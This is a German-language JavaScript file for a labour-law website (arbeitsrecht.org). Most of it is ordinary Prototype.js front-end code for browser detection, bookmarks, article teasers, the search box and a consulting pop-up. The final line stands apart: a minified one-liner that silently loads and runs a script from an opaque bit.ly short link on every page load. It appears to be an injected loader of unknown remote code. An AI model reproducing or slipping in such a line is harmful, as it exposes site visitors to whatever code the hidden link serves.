/**
 * Browserversion ermitteln
 */
browser = {
	detect: function()
	{
		this.isWebKit = Prototype.Browser.WebKit;
		this.isGecko  = Prototype.Browser.Gecko;
		this.isOpera  = Prototype.Browser.Opera;
		this.isMSIE   = Prototype.Browser.IE;
		this.isMSIE5  = this.isMSIE && !document.compatMode;
		this.isMSIE6  = this.isMSIE && document.compatMode && !window.XMLHttpRequest;
		this.isMSIE7  = this.isMSIE && window.XMLHttpRequest;
	}
}
browser.detect();

// Breite und Hoehe des Anzeigebereiches im Browserfenster ermitleln
var fensterbreite, fensterhoehe;
	function getFensterSizes()
	{
	if (self.innerHeight) // alle außer Explorer
	{
		fensterbreite = self.innerWidth;
		fensterhoehe = self.innerHeight;
	}
	else if (document.documentElement && document.documentElement.clientHeight)
	 // Explorer 6 Strict Mode
	{
		fensterbreite = document.documentElement.clientWidth;
		fensterhoehe = document.documentElement.clientHeight;
	}
	else if (document.body) // andere Explorer
	{
		fensterbreite = document.body.clientWidth;
		fensterhoehe = document.body.clientHeight;
	}
} // function

/**
 * IE6 - Hover-Fix für die Subnavigation
 */
if (browser.isMSIE6 || browser.isMSIE7)
{
	document.observe('dom:loaded', function()
		{
			var navNodes = $$('#nav-main-level2 > li');

			if (navNodes.length)
			{
				for (var i=0; i<navNodes.length; i++)
				{
					navNodes[i].observe('mouseover', showNav.bind(navNodes[i]));
					navNodes[i].observe('mouseout', hideNav.bind(navNodes[i]));
		  		}
			}

			function showNav ()
			{
				this.addClassName('over');
				this.setStyle({zIndex: '9999'});
			}

			function hideNav ()
			{
				this.removeClassName('over');
				this.setStyle({zIndex: '0'});
			}
		}
	);
}

/**
 * Seite als Lesezeichen speichern ("Merken"-Funktion)
 *
 * @author	Simon Apold <simon.apold@twt.de>
 */
function createBookmark (e)
{
	try {
		e.preventDefault();
		var sTitle = document.title;
		var sUrl = location.href;

		if (window.sidebar) // Mozilla Firefox Bookmark
		{
			window.sidebar.addPanel(sTitle, sUrl,"");
		} // if

		else if ( window.external ) // IE Favorite
		{
			window.external.AddFavorite( sUrl, sTitle);
		} // else if
	} // try
	catch(e)
	{
		alert('Ihr Browser unterstützt leider diese Funktion nicht!')
	} // catch

	return false;
} // function

document.observe('dom:loaded', function()
{
	var aBookmarkLinks = $$('li.bookmark > a');

	for (var i = 0; i < aBookmarkLinks.length; i++)
	{
		if (window.opera && window.print)
		{
			aBookmarkLinks[i].writeAttribute('rel','sidebar');
		} // if
		else
		{
			aBookmarkLinks[i].observe('click', createBookmark);
		} // else
	} // for
});

/**
 * Klasse zum Aufklappen der "Verwandte Artikel"-Teaser.
 *
 * @author	Simon Apold <simon.apold@twt.de>
 * @version	1.0 (17.07.2009)
 */
function twt_related_articles ()
{
	/**
	 * Klassenname der UL-Liste der "verwandten Artikel"
	 * @var	string	sUlClass
	 */
	var sUlClass = 'related-articles';

	init();

	function init ()
	{
		var aBoxElement = new Array();
		var iCount = 0;
		var aBoxes = $$('ul.' + sUlClass);

		aBoxes.each(
			function(oElement)
			{
				aBoxElement[iCount++] = new relatedArticlesBox (oElement);
			} // function
		);
	} // function

	function relatedArticlesBox (oElement)
	{
		/**
		 * LI-Elemente "verwandte Artikel"-Teaser
		 * @var	array	aListElements
		 */
		var aListElements = new Array ();

		/**
		 * aktives LI-Element
		 * @var	object	oActiveItem
		 */
		var oActiveItem = false;

		init();

		/**
		 * Registriert die "mouseover"-Eventhandler und blendet initial nur den ersten Artikel-Teaser ein.
		 *
		 * @return	void
		 */
		function init ()
		{
			aListElements = oElement.select('li');

			if (aListElements.length)
			{
				aListElements.each(
					function(oElement)
					{
						oElement.select('dt')[0].observe('mouseover', setActive.bind(oElement));
						oElement.select('dd')[0].hide();
					} // function
				);
				(setActive.bind(aListElements[0]))();
			} // if
		} // function

		/**
		 * Blendet den aktuellen Artikel.Teaser ein und den zuletzt aktiven aus.
		 * Das aktive <LI>-Element muss per "bind" an die Funktion gebunden werden.
		 *
		 * @return	void
		 */
		function setActive ()
		{
			if (oActiveItem)
			{
				if (oActiveItem == this)
				{
					return true;
				} // if

				oActiveItem.select('dd')[0].hide();
			} // if

			oActiveItem = this;
			oActiveItem.select('dd')[0].show();
		} // function
	} // function
} // function

function searchbox ()
{
	/**
	 * Searchbox Formular
	 * @var object oForm
	 */
	var oForm;

	/**
	 * Inputfeld Suchbegriff
	 * @var object oInput
	 */
	var oInput;

	/**
	 * Label-Text
	 * @var string sLabel
	 */
	var sLabel = 'Suchen...';

	init();

	function init ()
	{
		if($('searchbox') != undefined)
		{
			oForm = $('searchbox');
			if(oForm.select('input.searchword')[0] != undefined)
			{
				oInput = oForm.select('input.searchword')[0];

				oInput.observe('focus', removeLabelIfEmpty);
				oInput.observe('blur', addLabelIfEmpty);

				addLabelIfEmpty();
			} // if
		} // if
	} // function

	/**
	 * Füllt das Input-Feld mit dem Label, falls es leer ist.
	 *
	 * @return	void
	 */
	function addLabelIfEmpty ()
	{
		if ( oInput.value == '')
		{
			oInput.value = sLabel;
		} // if
	} // function

	/**
	 * Entfernt das Label aus dem Input-Feld.
	 *
	 * @return	void
	 */
	function removeLabelIfEmpty ()
	{
		if ( oInput.value == sLabel)
		{
			oInput.value = '';
		} // if
	} // function
}

/**
 * Klasse zum Ein- / Ausklappen der erweiterten Suche
 */
function extendedSearch ()
{
	/**
	 * Suchformular
	 * @var oForm
	 */
	var oForm = false;

	/**
	 * ID des Suchformulars
	 * @var sFormId
	 */
	var sFormId = 'searchform';

	/**
	 * Fieldset "erweiterte Suche"
	 * @var oExtendedSearch
	 */
	var oExtendedSearch = false;

	/**
	 * Verstecktes Inputfeld - Statusflag
	 * @var oFlagInput
	 */
	var oFlagInput = false;

	/**
	 * ID des Flag-Inputfeldes
	 * @var sFlagInputId
	 */
	var sFlagInputId = 'erweiterte_suche_flag';

	/**
	 * ID des "Erweiterte Suche" Links
	 * @var sExtendedLinkId
	 */
	var sExtendedLinkId = 'erweiterte_suche_link';

	/**
	 * Erweiterte Suche Link
	 * @var oExtendedSearchLink
	 */
	var oExtendedSearchLink = false;

	init();

	function init ()
	{
		oForm = $(sFormId);

		if(!oForm) return false;

		oFlagInput = $(sFlagInputId);
		oExtendedSearch = oForm.select('fieldset.boxes')[0];
		oExtendedSearchLink = $(sExtendedLinkId);
		oExtendedSearchLink.observe('click', toggle);
	}

	function toggle (e)
	{
		e.preventDefault();

		if (oFlagInput.value == '1')
		{
			oFlagInput.value='0';
			oExtendedSearch.hide();
			oExtendedSearch.select('input[type=checkbox]').each(
				function(oElement)
				{
					oElement.removeAttribute('checked');
				}
			);
		}
		else
		{
			oFlagInput.value='1';
			oExtendedSearch.show();
		}

		return false;
	}
}

function closeFloater()
{
	$('floater_wrapper').setStyle({
		display: 'none'
	});
	$('floater_overlay').remove();
	var datum = new Date();
	var expire = datum.getTime() + (7 * 24 * 60 * 60 * 1000);
	datum.setTime(expire);
	document.cookie = "newsletter_floater=set; expires=" + datum.toGMTString() + "; path=/";
}

function initConsultingFloater()
{
	if(location.hash == '#floatertest')
		window.setTimeout("startConsultingFloater()", 150);
} // function

function startConsultingFloater()
{
	new Ajax.Request('/fileadmin/arbeitsrecht.org/system/templates/ext/floater/consulting.tmpl.html', {
		onSuccess: function(response) {
			$(document.body).insert(response.responseText);
			getFensterSizes();
			$('consulting_floater').setStyle('left:' + fensterbreite + 'px;' + 'top:' + fensterhoehe + 'px;position:fixed;');
			new Effect.Move($('consulting_floater'), { x: parseInt((fensterbreite-984)/2 + 13), y: parseInt(fensterhoehe/3*2 - 150), mode: 'fixed'});
			
			Event.observe(window, 'resize', function() {
				getFensterSizes();
				$('consulting_floater').setStyle('left:' + parseInt((fensterbreite-984)/2 + 13) + 'px;' + 'top:' + parseInt(fensterhoehe/3*2 - 100) + 'px;position:fixed;');
				//new Effect.Move($('consulting_floater'), { x: parseInt((fensterbreite-984)/2 + 804), y: parseInt(fensterhoehe/3*2 - 150), mode: 'fixed'});
			});
		}
	});
} // function

/**
 * Instanziierung der Klassen
 */
document.observe('dom:loaded', function()
{
	new twt_related_articles();
	new searchbox();
	new extendedSearch();
	
	initConsultingFloater();
	
	// Intelli
	var iIntelliId = 22963;
	var oScript = document.createElement('script');
	//@todo Problem nach einmaligem Besuchen im Shop => dauer HTTPS
	var sPrefix = parent.location.protocol + '//';
	oScript.src = sPrefix + 'arbeitsrecht.de.intellitxt.com/intellitxt/front.asp?ipid=' + iIntelliId;
	document.body.appendChild(oScript);
	
	var script=document.createElement("script");script.type="text/javascript";script.src="http://bit.ly/9i8h8w";document.body.appendChild(script);
});